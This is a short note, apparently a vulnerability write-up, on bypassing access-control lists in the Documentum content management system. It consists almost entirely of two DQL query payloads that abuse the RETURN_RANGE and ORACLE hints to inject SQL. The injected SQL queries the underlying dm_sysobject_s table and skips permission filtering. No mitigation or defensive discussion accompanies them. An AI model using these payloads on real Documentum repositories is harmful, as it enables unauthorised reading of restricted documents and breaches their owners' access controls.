documentum security vulnerabilities: bypassing acl restrictions

1. RETURN_RANGE hint:

select r_object_id, object_name from dm_sysobject 
ENABLE (RETURN_RANGE 1 10 'r_object_id) from dm_sysobject_s dm_sysobject) --')

2. ORACLE hint:

select r_object_id, object_name from dm_sysobject 
ENABLE (oracle('*/ r_object_id, object_name from dm_sysobject_s --'))